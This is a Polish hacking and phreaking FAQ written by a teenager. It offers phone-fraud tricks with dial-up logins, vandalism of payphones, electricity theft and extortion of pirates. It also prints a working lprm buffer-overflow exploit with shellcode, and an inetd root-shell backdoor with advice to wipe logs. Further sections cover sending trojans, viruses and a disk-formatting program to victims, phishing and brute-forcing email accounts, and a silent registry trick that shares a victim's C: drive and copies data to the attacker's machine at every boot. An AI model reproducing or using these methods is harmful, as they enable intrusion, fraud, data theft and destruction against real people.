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Wstęp





Na wstępie mówie, że nieodpowiadam za ewentulane szkody wyżądzone przez tę lekturę:).... Nie wolno wykorzystywać tego faq w celach niezgodnych z prawem. Zgadzam się na  rozpowszechnianie tego faq ale w całości tak jak jest zamieszczony na mojej stronie. W poprawionej wersji poprawiłem błędy i dodałem kilka działów. Teraz ma licencje GNU czyli zezwalam na poprawienie błędów :). Jak macie jakieś problem możecie pisać na |hack.zone@wp.pl| jak będę wiedział napewno odpowiem........:) 





a) O Mnie





I tak napewno mnie znacie. Jestem Spinacz, mam 14 lat (niewiele), ale trochę wiem o wszystkim. Uwielbiam komputery prawie jak taką laskę z mojego miasta. Zajmuję się problematyką hackingu jakieś pół roku to nawet dużo :) goście którzy pisali zinki znali się na tym jakieś 2 miesiące ale byli bardzo dobrzy (byli) teraz stare pokolenie już nie zajmuje się hackingiem....pracują w dużych firmach jako admnistratorzy chodz na IRC można ich spodkać...Moim wrogiem nr. 1 jest szkoła a później rodzice którzy mówią "wyłącz ten komputer lepiej się poucz",bo mi się chce aż mnie rwie.......Ostatnio zajmuję się programowaniem w C++. Potem zaczne Assemblera ale narazie muszę nauczyć się dobrze C++. Programuje dobrze w Delphi, Javie Script, Html i trochę w Basicu. Jak macie jakiś problem to piszcie do mnie jak będę wiedział to odpowiem (pytania mogą być głupie).Jak każdy normalny człowiek lubię sobie podzwonić za darmo normalne. Kocham phreak !!!





B) Co jest...Dział dla was wszelkie pytania jakie piszecie to tu umieszcze.





czesc to ja KeRToiP pewnie mnie nie znasz ale to nic.:-)�masz moze login i chaslo na 0800202122 ??





Niestety do tego numeru nie mam loginu i hała podobno jest długie, ale jak chcesz to są inne callbacki tam niżej z loginem i hasłem.





prosze o haslo do stronki 


  Uwielbiam, gdy mnie odwiedzasz... >>> <http://link.interia.pl/f1663>


Niestety moja stronka z hałem ta na www.spinacz-88.prv.pl została zlikwidowana ale zapraszam na www.hackerzy.glt.pl





Jak odpalić h@ckpl ? Anonymus





Pytasz mnie jak to odpalić poczytaj moje strsze faq tam są do nich hasła, ale umieściłem je też na końcu. Polecam h@ckpl dlatego, że są tam szczegółowe opisy włamań................:-





ty draniu jestem root.





Nie jestem żadnym draniem egoisto.





przydal by sie przepis na wlam na serwer i podmiane strony ze zdjeciami i opisami uzytych programow <-F@cet e-mail sebus4@poczta.fm 





Nie ma tak naprawdę jednego dobrego przepisu na włam na serwer jest tyle sposobów ile hackerów ja polecam expolity.





Jak bedziesz mial gandzie pisz





Jebany żulu z Pszowa ja już się domyślam kim tak naprawdę jesteś schizol :)





Prześli mi wg. ciebie nalepsze faq dla początkujących





Nie będę nikomu przysyłać faq, bo są do ściągnięcia na mojej stronie. Wdług mnie nalepsze dla początkujących są aaaa nie ma. Trzeba czytać co się da potem je zrozumiesz.





you spinacz nie jestem zadna laska jestem chlopakiem ty potrzebuje ten program on lamie chasla w poczcie??? przeslij mi go prosze mincrack.zip <http://download.dvdsoft.net/~lump/download/hasla/mincrack.ZIP> - Wyciaga ostatnio uzyte przez program "Minuet" haslo do emaila (11 KB). �


Tak, ale ma wade działa jedynie na Windozie 95 i 98. Na ME występuje błąd. Przysłałem ci go już.





Jeste ich jeszcze jakieś 20 ale nie chce mi się pisać i odpowiem na nie e-mailem.





c) I co dalej ? Mam zamiar napisać zina ojjj nie znam się na tym C/C++  ale coś spróbuje.......może ktoś się  chce przyłączyć i napisze jakiś tekst, albo zna się na C/C++ albo Pascalu i chciałby skonstruować zina. Wszystkich chętnych proszę o kontakt na mój e-mail albo  na GG. 





Phreak





a) Info





Specjalna grupa hackerów nazywa się  "prejkerami". Na wstępie mówie, że phreak jest nielegalny i karalny prawnie jak hacking !!! Phreakerzy są osobami, którzy mają na celu oszukiwać telekomunikacje i dzwonić za free co się nie podoba (bardzo) telekomunie. Phreaking zaczął się w latach 70-tych gdy John  Drapper odkrył, że dołączone do płatków gwizdki generują taką samą częstotliwość jak żetony wrzucane do automatów. Phreaking rozwijał się przez lata aż doszedł do teraźniejszej postaci i coraz więcej osób nim się zajmuje. Teraz już jest na takim poziomie, że służy głównie do dzwonienia z budek za darmo ale również do aktywacji  kart sim. Najwięcej phreakerów działa w małych miastach gdzie telekomunikacja nie ma tak dobrze zabezpieczonych budek. Osoby które podpinają się do lini sąsiada lub sąsiadki (laski) są także phreakerami ale zwanymi pajęczarzami. Phreakerzy głównie używają boxów, które dzielą się według kolorów. Jak chcecie wiecej na temat boxów to istnieje specjalna strona do przeszukiwania czarnej strony siecie na http://www.astalavista.box.sk. Phreakerzy również używają tonedilera. Jest to mała skrzynka z klawiaturką i głośnikiem, która generuje ton. 








b) Triki





Z komórki za darmo





Chcesz dzwonić z komórki za darmo ? Nic trudnego.


Robimy tak


1. wybieramy numer


2. naciśnij yes


3. gdy wyświetla sie napis connecting nacisnij CLR


4. nacisnij 0


5. potem #


6. teraz dwa razy NO


I to wszystko jak chcesz sie rozłączyć wyjmij baterie





Chcesz darmowy internet





Potrzebne ci są callbacki czyli takie numery, które wpisane do połączenia dzwonią za darmo tylko, że cię łatwo namierzyć. Oto kilka


1.0800202122 login: ? hasło: ?


2.080020127 login: ? hasło: ?


3.080020019 login: unknown hasło: unknown


4.080020023 login: ? hasło: ?


5.080020866 - login: ppp ; hasło: ppp�6.080020866 - login: koliber ; hasło: koliber�7.080020034 - login: adam2 ; hasło: b34fro�8.080020041 - login: unknown ; hasło: unknown





Odrazu mówie, że niektóre nie działają podobno jak niedziałają należy przed numerem postawić 48. Uważaj, bo jak z domu dzwonisz to cię namierzą.


�FREE�


Dzwonisz na darmowy numer panstwowy np: 997�Rozlaczasz sie i wykrecasz od razu nowy numer�Gadasz ile wlezie�Rzadko dziala :(








Światło za 2 złote





To jest prosty sposób ale działa tylko na blokach musimy pociągnąć kabel z piwnicy i płacimy za światło symboliczne pieniącze.





Darmowy sms





Jak masz komóre to możesz posyłać darmowe sms. Jak wysyłasz sms to są takie dwie koperty które wędrują jakieś 3-4 razy jak wędruje pierwszy raz i jest przy samym końcu wyłącz komórke a sms przyjdzie za darmo. Działa na simensach !!!





Jak zdenerwować telekomune





Dzwonimy na 0800 100 200 i mówi nam babka z telekomuny dzien dobry....a my do nich dlaczego wasi kilienci mówią na was "telekomuna" babka zbladła i mówi, że tu na ten temat się nie rozmawia :)





Darmowa coca-cola





Podchodzimy do automatu z coli i wrzucamy 20 zł ale starych, automat wyrzuca cole i wydaje z 5 zł





Dymiący się Urmet





Otwieramy urmeta i wyjmujemy czytnik...a na płycie głównej przykleja się taśmą kilka zapalonych papierosów i zamykamy budke za chwilę będzie się palić





Papierosy za darmo





Na to jest kilka sposobów ale ja pokaże jak zrobić se fajke ekologiczną i nie robiącą nic naszym płucą a smakuje jak papieros.


Musimy znaleźć trochę mięty u mnie rośnie tego pełno...suszymy mięte i robimy z tego skręta no i mamy blantospinacza !!!





Płyty pirackie za darmo





Idziemy do pirata i zamawiamy płytkie jaką chcemy. Teraz daje nam ją i mówimy "biorę ją za darmo, bo jak nie to was kapne" i działa.





Jednoimpulsówki





Robimy tak podchodzimy do budki i wciskamy 0803 teraz czekamy 25 sygnałów (więcej nie będzie) i gdy jest ostatni to przy samym końcu wciskamy 0 teraz czekamy aż będzie cisza i wystukujemy jaki numer chcemy ale mamy 1 impuls i jeszcze jedno działa na srebrnych urmetach u mnie są tylko takie prócz z telefoniki na CHIP. O jak dzwonisz na komórkę to masz zaledwie 13 sekund.





Coś innego





Jak dzwonimy to gdy mamy na wyświetlaczu O impulsów wciskamy 0 i gadamy ile chcemy. Proste jak drut kolczasty.





c) Opis tone dilera





Co to jest tone diler ? Nie będę tu dokładnie się zagłębiać w temacie :) Jeste to po prostu system odsłuchujący do sekretarek firmy Panasonic. Jest wielkości 10*7. Jest to taka czarna skrzynka z klawiaturą. Można go kupić w większych miastach za 22 zł + vat. To i tak niska cena dlatego, że się to zwróci. Te urządzenie ma wszechstronne zastosowanie. Dzięki niemu możemy za darmo dzwonic z budek !!! Z tone dilerkiem można wszystko. Tak przy okazji można go złożyć samemu ale jeśli się nie znasz na elektronice to ci nie polecam, bo po złożeniu w 90 % przypadkach nie działał a forsa do kubła, więc lepiej go kupić :) Generuje częstotliwość 220 Hz i dzięki temu dzwonimy za darmo.





d) Linki





Phreak





http://www.phreak.hack.pl


http://www.hackerzy.glt.pl


http://www.rif.prv.pl


http://www.phreak.prv.pl


http://www.cyber-crime.nano.pl


http://www.phreak.pl





e) Forum





Chciałbyś porozmawiać na forum możesz to zrobić na mojej stronie http://hackerzy.glt.pl hasło do forum to "kondor" Już kilka osób się wypowiedziało możesz i ty :) i jak chcesz na mojej stronie jest bramka IRC to sobie możesz porozmawiać bez klienta mIrc-a.





HACKING





a) Podstawy





Najpierw jak chcesz być chakerem to zainstaluj sobie linuxa, bo bez niego dużo nie pohackujesz. Jak już masz linuxa radze ci załatwić sobie stałe łącze chyba, że chcesz płacić duże rachunki za telefon tak jak ja (tego nie polecam). Teraz ściągnij sobie dużo faq na początek starczą ci jakieś 100 a potem ściągaj najnowsze i ile możesz. Musisz czytać, czytać i jeszcze raz czytać. To jest normalne, że na początku nic nie będziesz rozumiał ale po czasie będziesz  dobry. Jak już wszystko rozumiesz to zkombinuj se expolita na twojego linuxa są na mojej stronie. Teraz załuż sobie u siebie jakieś konto i uruchom expolita u siebie. Dostaniesz roota to się ciesz.......teraz znajdz sobie jakiś serwerek i poproś ladmina aby ci dał konto shellowe tam na dole są linki jak chcesz shella. Teraz szukasz expolita odpowiedniego i uruchamiasz go na serwerku (kopiujesz na shella). Dostałeś roota to postaw backdoora i wymaż logi (posłuż się programem), bo jak nie to masz przejeb@ne, możesz jeszcze zrobić pętle. Dobra teraz czytaj najnowsze faq i próbuj się włamywac...:-|





b) Kilka pojęć dla lamerów





Expolit-jest to program który daje hackerowi status root'a i nie tylko


Root-jest to główne konto administratora na linuxie dzięki niemu możemy robić                                   


     wszystko poprostu mamy władze nad systemem


fakemail-fałszywy list


firewall-jest to zapora ogniowa antyhacker


urmet-poprostu budka telefoniczna


bacdoor-są to tylne drzwi dzięki nim nie musimy się logować wchodząc na serwer


bugi-są to dziury np. w systemie albo w programie (chodz nie zawsze)


konto shellowe-jest to konto które możemy dostać od admina albo go wykupić(linuxowskie).





c) Co to jest expolit





Wyżej już wyjaśniłem ale teraz wyjaśnie trochę głębiej. Jest to program napisany w C który daje po zkopiowaniu na serwer roota. Na każdy system jest inny expolit. Przed użyciem należy go zkomplikować oto przykładowy expolit





-------------3lprm.c-------------





#include <stdio.h>





#define ALIGN 13         // Try from 0 to 16


#define STRCPY 0x8048a98 // channge it if you find right ALIGN


                         // (it was 0x8048a98 in my case ;)


#define DEST 0x804c010


#define OFFSET 0x381f+5


#define PRINTER "-Plp"





int *ptr;


char *cptr;





void main(int argc, char *argv[]) {





  char buff[]=


        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"


        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"


        "\x80\xe8\xdc\xff\xff\xff/bin/sh";





  char shellbuf[16384];


  int i;


  int src= (int)&src;





  /* fill the buffer with nops */


  memset(shellbuf, 0x90, sizeof(shellbuf));


  shellbuf[sizeof(shellbuf)-1] = 0;





  cptr = (char *)(shellbuf+100);


     for(i=0;i < strlen(buff);i++)


      *(cptr++) = buff[i];





  ptr = (int *)(shellbuf+1000+ALIGN);


  	*ptr++ =STRCPY;


  	*ptr++ =DEST;


  	*ptr++ =DEST;


  	*ptr++ =src + OFFSET;  // Try to play with it if any problems.


  *ptr++ = 0;





  printf("sp= 0x%x\nsrc= 0x%x\n",src,src+OFFSET);





  execl("/usr/bin/lprm","lprm",PRINTER,shellbuf,NULL);


}





---------------end---------------





Expolity można znaleźć na www.cyber-crime.nano.pl albo na mojej stronie.





d) Jak wgrać expolita ?





Napisze jak zrobić to pod WINDOWS'EM na FTP(shella)





Otwierasz dosa pod shitem i logujesz się na twoje konto(shella) teraz piszesz


ftp


open serwer.org.pl (serwer)


login: spinacz (login)


pass:(hasła niegdy nie widać)


ftp> bin


ok


ftp> hash


# - ok


ftp> mput c:\expl\expl.c (ścieżka gdzie jest expolit)


ok


quit


No i mamy expolita wgranego na serwer jest to najprostszy sposób :).................





e) Backdoory





* Co to jest





Backdoory są to tylne drzwi.Dzięki nim możemy wejść na serwer bez loginu i hasła. Najpierw musisz mieć roota aby założyć backdooraje . Dzięki niemu nie będziemy się musieli logować na serwer.





* Jak postawić backdoora





<login@serwer.org.pl>     # cat /etc/services


tcpmux                1/udp    #TCP Port Service Multiplexer


compressnet       2/tcp     #Management Utility


compressnet       2/udp    #Management Utility


compressnet       3/tcp     #Compression Process


compressnet       3/udp    #Compression Process


ftp                       21/tcp   #File Transfer [Control]


hostnames         101/tcp  # usually from sri-nic


iso-tsap             102/tcp   # ISO nic


x400                  103/tcp   # ISO mail





Legenda :





Pierwsza kolomna to nazwa serwera


Druga to numery portów


Trzecia to opis





<login@serwer.org.pl># cat /etc/inedt.conf





ftp       stream    tcp      nowait  root    /usr/libexec/tcpd       ftpd -l -A


telnet  stream    tcp      nowait  root    /usr/libexec/tcpd       telnetd


shell    stream   tcp      nowait  root    /usr/libexec/tcpd       rshd


login    stream   tcp      nowait  root    /usr/libexec/tcpd       rlogind -a


x400    stream  tcp      nowait  root    /usr/libexec/tcpd       rexecd





# do pliku /etc/inetd.conf





tst    stream    tcp    nowait    root   /bin/bash -i





Po tym  nalezy zresetowac calego daemona, by uaktualnic ustawienia


killall -HUP inetd


I teraz telnetujemy się :host 1790


trying serwer.org.pl


#bash


#whoami


root





Ja tylko narazie znam takiego backdoora wiadomo jeszcze się ucze dużo pomogła mi lektura LamCkera :) Pamiętaj loginy, nazwy serwerów są zmyślone !!!............





g) Co zrobić jak cię złapią ?





Jak cię złapią to masz przesrane !!! Chodz nie zawsze dlatego, że niektórzy administratorzy są kulturalni. Jak im powiesz jak to zrobiłeś to zostawią ci konto z rootem a admin będzie na drugi raz uważał i tego błędu nie popełni. Pragne tu przedstawić dowcip który jest prawdziwy : " Przy stole siedzą kulturalny admin, krasnal i policjant...na stole jest kotlet i po pewnej chwili gaśnie światło i nie ma kotletu i kto go zjadł ? Oczywiście policjant, bo kulturalnych administratorów ani krasnali nie ma " - dobre nie sam wymyśliłem bo jam kapitan mineta !!! Jak cię złapią to mów, że tego nie zrobiłeś i tak napewno admin cię będzie śledzić więc radze ci powiedzieć znajomym żeby ci nic nie przysyłali o tematyce hackingu poczekaj po jakiś 3 miesiącach powinni ci dać spokój ale jak cię złapią na gorącym uczynku to idziesz do pudła na 5 lat i płacisz dużą grzywnę (współczucia) 





h) Kilka sposobów na lamera





sposób 1





Wirusy





Jak gościu jest lamerem pośli mu e-mailem wirusa ale go spakuj. Najlepiej jak mu poślesz anonimowego e-maila. Będzie śmiesznie !





sposób 2





Duży rachunek 





Jak chcesz aby gościu miał duży rachunek za telefon to pośli mu e-maila, że jeżeli chce obejżeć fajne laski na twojej stronie to niech wejdzie na www.xlaski.pl ha ha 3 zł/1min 





sposób 3





Jak ma stałe





Jak lamer ma stałe łącze nie ma innej rady posyłasz mu trojana i bawisz się jego kontem powiedz mu żeby posłał ci e-miala i teraz dajesz ctrl+F3 i sprawdz jego IP 





sposób 4





Chamska rada





Daj mu fajny program DANGER ja rozdałem go na całym osiedlu to coś nie jest wykrywany przez antywirusy a jak go uruchomi to przez 3 sek sformatuje  mu dysk jak go chcesz to ci go przyśle Jest OK





i) Ataki





Sniffing





Jest to metoda na podsluchiwanie sieci jest to mozliwe w sieci LAN. Jest to jedna z najlepszych metod uzyskiwania informacji z inego komputera. Mozemy dzieki sniffingowi znac password innego komputera w sieci. Sniffinga jest latwo wykryc i latwo mozna go zniszczyc wysylajac pakiet lub ping............





Wirusy





Wirusy mają zdolnośc przyklejania się do innych plików niektóre najpierw się rozmnażają a potem atakują niektóre odrazu robią format c:\ a inne nie są tak groźne ja miałem tylko wirusa który nazywał się kaczkofan 004 i przez niego nie działał mi cd-rom a na dysku mam spakowanego a love i anna kurnikowa, romeo i julia itp. Łatwo sprawdzić bez antywirusa czy jest wirus uruchamiamy MS DOS i wpisujemy Chkdsk w przed ostatniej linijce musi być 


655 360 wszystkich bajtów pamięci jeśli tyle nie masz to masz vira i zainstaluj sobie NORTONA, bo może być źle..........:)





Expolity





Explolit wykorzystuje bugi w systemie i może dać nam status roota. Przeważnie potrzebujesz konto na tym systemie aby użyć explolitu chodź nie zawsze (expolity zdalne) !!! Wbrew pozorom jest go łatwo użyć.





Trojany





Metoda trojana to chyba najłatwiejsze co może być najpierw uruchamiamy serwer (trojan składa się ze serwera i klienta) i go konfigurujemy potem najlepiej spakować klienta i wchodzimy na IRC gadamy z gościem na IRC i mówimy, że mamy fajnego pornola albo coś takiego i wysyłamy mu go a jeszcze jedno potrzebujemy IP gościa sprawdzić go można na IRC wpisujemy /whois_nic gościa i mamy IP teraz gościu otwiera trojana a my uruchamiamy serwer i w miejscu hosta wpisujemy IP gościa i łączymy się zdalnie możemy pogrzebać mu teraz na dysku lub wysunąć mu cd-rom wzależności od trojana życze miłej zabawy.





DoS





Polega Na Blowkowaniu Serwerów, wysyłamy mnóstwo pakietów IP itp. po czym serwer Się Wiesza.





Spoofing





Jest to metoda podszywania sie pod czyis IP zaufany dla serwera. Dzieki czemu mozemy sie podszyc pod czyis IP i wejsc niezauwazeni do systemu. Dodatkowo mozemy teraz zostac jeszcze anonimowi.





Sniffit





Jedyny interesujacy sniffer pod Linuxa mozna go równiez odpalic z shella.





Narazie to wszystko.





j) skanowanie





Na poczatku mowie, ze skanowanie jest nielegalne i gdy skanujemy to serwer zbiera informacje o nas dla admina.


Skanujac wyszukujemy bledy w serwerach dzieki czemu mozemy przez dziury sie wlamac.





7th Sphere PortScan 1.1 :





Zaczynamy,instalujemy Portscan i Wlaczamy go :) Po kliknieciu przycisku 'about' pojawiaja nam sie informacje o tymze programie, nick jego stwórcy itp. Po kliknieciu przycisku 'clear' czyscimy to okienko na dole :) W tym wlasnie dolnym okienku beda nam sie pojawialy wszytskie informacje o danym serwerze, który akurat skanujemy W polu 'Filename:' mamy podana sciezke pliku w którym beda zapisywane logi skanowanego serwera Mozemy ta sciezke oczywiscie dowolnie zmienic W polu 'Scan:' wpisujemy host serwera który chcemy skanowac Np: cable.net.pl ;] Po kliknieciu przycisku 'start' zaczyna sie skanowanie W polu 'send port' podajemy port od którego chcemy zaczac skanowanie,domyslny jest port: 1 W polu 'stop port' wpisujemy port na którym chcemy zaprzestac skanowanie, domyslny jest port: 65536 Oczywiscie mozemy zmienic te liczby wedlug wlasnego upodobania Po rozpoczeciu skanowania czesto pole 'host' zmienia sie w IP danego serwera Przyciskiem 'halt' zatrzymujemy skanowanie, mozemy to robic w dowolnym momencie. Przyciskiem 'save' zapisujemy wszystko co mamy w dolnym okienku (wyniki skanowania). Do pliku podanego w polu 'Filename:'. Po wcisnieciu przycisku 'reset' program resetuje zmienione przez nas opcje i wraca do stanu poczatkowego. Gdy zaznaczymy opcje 'scroll' to pasek boczny na dolnym okienku zawsze bedzie sie sam przesuwal w dól. Gdy go odznaczymy (zalecane) to mozemy dowolnie przewijac bocznym paskiem. Przy przerwaniu skanowania przyciskiem 'halt' skaner podaje na jakim porcie zakonczylo sie skanowanie. Podaje tez wersje zabezpieczen (ssh czy ssh2), wersje sendmaila (program pocztowy) oraz wersje serwera ftp. Przycisk 'reset' zamyka wszystkie sockety. W polu 'Recv port:' jest napisany port który jako ostatnio dalo sie otworzyc skanerem. Pole 'Delay(ms):' predkosc laczenia z portem Opcja 'reset on halt' oznacza ze po przerwaniu skanowania poleceniem halt jednoczesnie wlaczy sie przycisk 'reset'. Opcja 'save on halt' oznacza ze po przerwaniu skanowania poleceniem halt jednoczesnie wlaczy sie przycisk 'save' W polu 'Open Sockets' podana jest liczba otwartych socketów Opcja 'quick scan' jest dziwna, predkosc skanowania niezmienia sie Opcja 'overwrite' tekst podany w pliku na dole na nowy tekst w dolnym okienku. Gdy przed skanowaniem zaznaczymy opcje 'debug' to skaner bedzie nam po kolei pokazywal czy sie laczyl czy nie na kazdym! porcie W przypadku normalnego skanowania skaner wyswietla tylko porty z których udalo mu sie polaczyc Jeszcze jedna uwaga gdy zakonczycie skanowanie komenda 'halt' i klikniecie clear to skaner skanuje dalej od portu na którym wczesniej skonczyl skanowanie, by calkowicie zakonczyc skanowanie wcisnij 'reset'. W sumie zeby zeskanowac wszystkie dziury serwera moznaby uzyc kilku skanerów Bo jeden tylko moze niewykryc wszystkich dziur. Na razie tyle, milego skanowania :) 





WgateScan 3.0 for Win98 by Pixel/Edena :





W sumie nie jest to taki skaner jak inne Bo wyszukuje on backdoory na serwerze :) (chyba) W oknie po prawo wypisywane sa one w polu 'serwer(s) found' Przyciskiem 'clear' mozna wyczyscic liste serwerów przyciskiem 'save' mozna zapisac obecna liste serwerów Jesli skaner znajdzie jakis backdoor to pokaze to na koncu skanu Po kliknieciu na przycisk 'about' dostajemy kilka informacji o samym programie Po kliknieciu przycisku 'quit' wychodzimy z programu W polu 'hostname or IP' podajemy host lub numer IP serwera który chcemy skanowac Przyciskiem 'del' czyscimy pole 'hostname or IP' Na dole programu pokaze sie jakie IP odpowiada danemu hostowi wpisanemu w pole 'hostname or IP' Dzialanie tego skanera polega na tym ze skanuje on dany host od IP xxx.xxx.xxx.1 do IP xxx.xxx.xxx.255 Czyli jesli IP tego serwera to np: 123.456.789.xxx to skaner bedzie skanowal od IP: 123.456.789.1 do IP 123.456.789.255 W polu Scan progress pokazane jest ile juz procent serwera zostalo zeskanowane W polu 'host position' pokazanye jest który IP wlasnie jest skanowany np: jesli jest to host: 26 To skanowane jest obecnie IP: xxx.xxx.xxx.26 W polu 'Scan the port n*' pokazany jest port który ma byc skanowany (chyba ;]) W polu 'Open the port and try to receive the string' program stara sie odebrac od serwera tekst napisany w okienku W polu 'Open teh port and try to send the string' program stara sie wyslac do serwera tekst napisany w okienku W polu 'Try to open the port only' program stara sie jedynie otworzyc na danym serwerze podany port Przyciskiem 'Scan!' rozpoczynamy skanowanie danego serwera Przycisk 'options' (hmm jest tego duzo,ale kilka rzeczy opisze) : - zeskanowane adresy IP zapisywane sa w pliku podanym w okienku 'Scanned IP' (sciezke okresla sie kropeczkami) - znalezione serwery sa zapisywane w pliku podanym w okienku 'Found servers' (sciezke okresla sie kropeczkami) - pole 'Save server's list' - po wyjsciu z programu aktualna lista serwerów zostaje zapisana - pole 'save this options nad state to registry' zapisuje zmiany z okna 'options' w podanym kluczu w rejestrach - pole 'connection timeout' okresla po ilu sekundach rozlaczyc sie w przypadku braku polaczenia (chyba ;) - nierozumiem znaczenia tych dwóch pozostalych górnych opcji





j) Bugi





Jest pewien fajny sposób na wodomierze�Zatykasz wylot z wanny korkiem�Otwierasz kran tak zeby woda powoli kapala,lecz nie za wolno�Wychodzisz z domu�Gdy wrócisz wanna bedzie pelna wody�A wodomierz przesunie sie najwyzej o kawaleczek lub wcale ;]





Jest ukryta opcja w IE 5.0,niedziala on ajuz w IE 5.01�Utwór na pulpicie nowy plik *.txt�Napisz w nim to co jest tam: ->tu<-�Teraz zapisz plik i zmien jego nazwe na: test.htm�Po otwarciu pliku ukaze ci sie animacja :)


Okazuje sie ze jest sposób a by shakowac sapera ;]�Dzieki temu mozna przejsc go w jedna sekunde�Wiec wlaczamy sapera�Klikamy na jedno z pól,wlaczy sie wtedy zegar�Wciskamy naraz lewy i prawy klawisz myszki


 


 





 MIEJSCA DLA LAMERÓW





http://www.hackerzy.glt.pl


http://www.cable.net.pl (darmowe shelle)


http://www.small.prv.pl


http://www.grzegorz.net.pl


http://www.phreak.prv.pl


http://www.hacking.pl


http://www.hacker.pl


http://www.haker.com.pl


http://www.cyber-crime.nano.pl


http://www.phreak.hack.pl


http://www.hacking.cc.pl


http://www.crack.site.pl


http://www.lamer.pl


http://www.2600.org





i) jak zhackować komuś konto np. na republice





Pytasz mnie jak shackować konto na republice. Są dwa sposoby programowy i lamerski. Najpierw lamerski.


Dajesz podpowiedz hasła jak gościa znasz to odpowiesz na pytanie i dostaniesz hasło a jak nie znasz to


robisz sobie lewe konto na wp np.xlaska@wp.pl i posyłasz mu e-maila, że chcesz go poznać itp niech napisze


wzależności od pytania np. jakie jest marzenie twojego życia przyśle ci odpowiedz i dostaniesz hasło


działa na 95 % lamerów. Teraz programowy. Ściągasz brutusa2. Potrzebujesz dwa słowniki bo Brutus ma małe.


Teraz jak masz słownik załaduj go do User File (z imionami) a do Pass z hasłami. Na samej górze masz napis


Type tam zmieniasz na POP 3 minimalizujesz brutusa w dosie piszesz ping www.poczta.onet.pl dostajesz jej


IP i wklejasz w brutusie w miejsce Target teraz start i powinien znaleźć ci hasło. Masz hasło i robisz


co chcesz z jego kontem !!! Ja polecam jeszcze inne programy jak np. John the ripper czy wwwhack wszystkie dostępne są na mojej stronce www.hackerzy.glt.pl





j) jak się włamać w sieci lokalnej





Metoda ta jest już trochę przestarzała i łatwa do wykrycia (a jednak nadal skuteczna), dlatego zdecydowałem się ją opisać. 





Chyba każdy z nas miał już kiedyś do czynienia z rejestrem. Poprzez wpisywanie odpowiednich kluczy i wartości można całkowicie zrekonfigurować Windowsa i znacznie ograniczyć dostęp do zasobów komputera. W kluczu:








HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\


Network\LanMan\(udostępniony folder lub drukarka)


zapisana jest konfiguracja wszystkich udostępnionych zasobów na naszym komputerze (folderów i drukarek). W kluczu tym znajdują się następujące zmienne : 





Flags: 


101, 191 - folder udostępniony tylko do odczytu 


102, 192 - folder udostępniony do odczytu i zapisu 


103, 193 - folder udostępniony w zależności od podanego hasła 


Parm1enc, Parm2enc - zakodowane hasła (maks. 8 liter) 


Path - ścieżka dostępu do folderu 


Remark - opis 


Type: 


0 dla folderów 


1 dla drukarek. 


Manipulując tymi wartościami łatwo zmieniać konfiguracje udostępnień na swoim komputerze, ale jak wykorzystując rejestr systemowy aby zmienić i/lub odczytać konfiguracje innego komputera w sieci. Bardzo prymitywnym sposobem jest podsunięcie komuś w sieci zwykłego pliku rejestru. Np. takiego:








REGEDIT4





[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\


Network\LanMan\C$]


"Flags"=dword:00000192


"Type"=dword:00000000


"Path"="C:\\"


"Parm2enc"=hex:


"Parm1enc"=hex:


"Remark"=""


Wzór pliku in.reg można bardzo łatwo uzyskać eksportując z rejestru zapis dowolnego udostępnienia. Później wystarczy odpowiednio go zmodyfikować (zmienić nazwę udziału, ścieżkę dostępu itd.) 





Kiedy użytkownik na innym komputerze uruchomi ten plik (domyślnie - scalaj) wówczas informacje zostaną wprowadzone do rejestru systemowego. Po ponownym starcie systemu na komputerze ofiary będziemy mieli swobodny dostęp do jego dysku C (znaczek '$' przy nazwie udostępnienia oznacza, że udział nie będzie widoczny w Otoczeniu Sieciowym). Jak już wspomniałem metoda ta jest bardzo prymitywna choćby ze względu na komunikat, który pojawi się na ekranie komputera informujący o wprowadzeniu zmiennych do rejestru. Dlatego powinniśmy zadbać o to aby program regedit.exe był uruchamiany z parametrem /s - to zapewni nam dyskrecję. Można to zrobić wykorzystując plik *.bat: 





regedit.exe /s \\twoj_komp\katalog$\in.reg


del plik.bat





Wówczas użytkownikowi podsuwamy tylko plik start.bat, po uruchomieniu którego zawartość in.reg zostanie wprowadzona do rejestru. Podobnie bardzo łatwo można wyciągnąć zapis konfiguracji udostępnionych folderów z innego komputera w sieci (takiego, który swe zasoby ma zabezpieczone hasłem, bo tylko wtedy ma to sens): 





regedit.exe /s /e \\MAX\folder$\out.reg 


HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\


Network\LanMan


del plik.bat





folder$ - musi być to folder ustawiony jako "pełen dostęp" 





Powyższe dwa sposoby dają nam możliwości jednorazowej zmiany lub jednorazowego pobrania informacji z rejestru. Ale co zrobić, żeby za każdym razem nie zmuszać użytkownika do uruchamiania bata? W tym celu należy wykorzystać inny klucz w rejestrze: 





HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run 





Tam właśnie zapisane są ścieżki wszystkich programów, które uruchamiane są po starcie systemu. Do tego klucza musimy wprowadzić odpowiednie zmienne, które zapewnią nam stały dostęp do rejestru systemowego innego komputera. W tym celu możemy wykorzystać opisaną wyżej metodę (pliku bat). Plik in.reg powinien wyglądać następująco: 





------in.reg------


REGEDIT4





[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]


"WinStart"="regedit.exe /s /e \\\\MAX\\TAJNY$\\out.reg


HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\


Network\\LanMan"


"WinStart2"="if exist \\\\MAX\\TAJNY$\\in.reg regedit.exe /s 


\\\\MAX\\TAJNY$\\out.reg"





Po wprowadzeniu zawartości pliku in.reg do rejestru systemowego ofiary pierwsza zmienna: 





"WinStart"="regedit.exe /s /e \\\\MAX\\TAJNY$\\out.reg


HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion


\\Network\\LanMan"





sprawi, że zawsze przy starcie systemu na komputerze ofiary Windows zapisze całą konfiguracje udostępnionych folderów i drukarek w pliku out.reg na naszym dysku. Jeżeli w tym czasie udział 





\\MAX\TAJNY$


nie będzie dostępny (np. jeżeli nasz komputer będzie wyłączony) wówczas start systemu opóźni się o około 1 sekundę. Zapis drugiej zmiennej jest trochę bardziej skomplikowany: 





"WinStart2"="if exist \\\\MAX\\TAJNY$\\in.reg regedit.exe /s


\\\\MAX\\TAJNY$\\in.reg" 





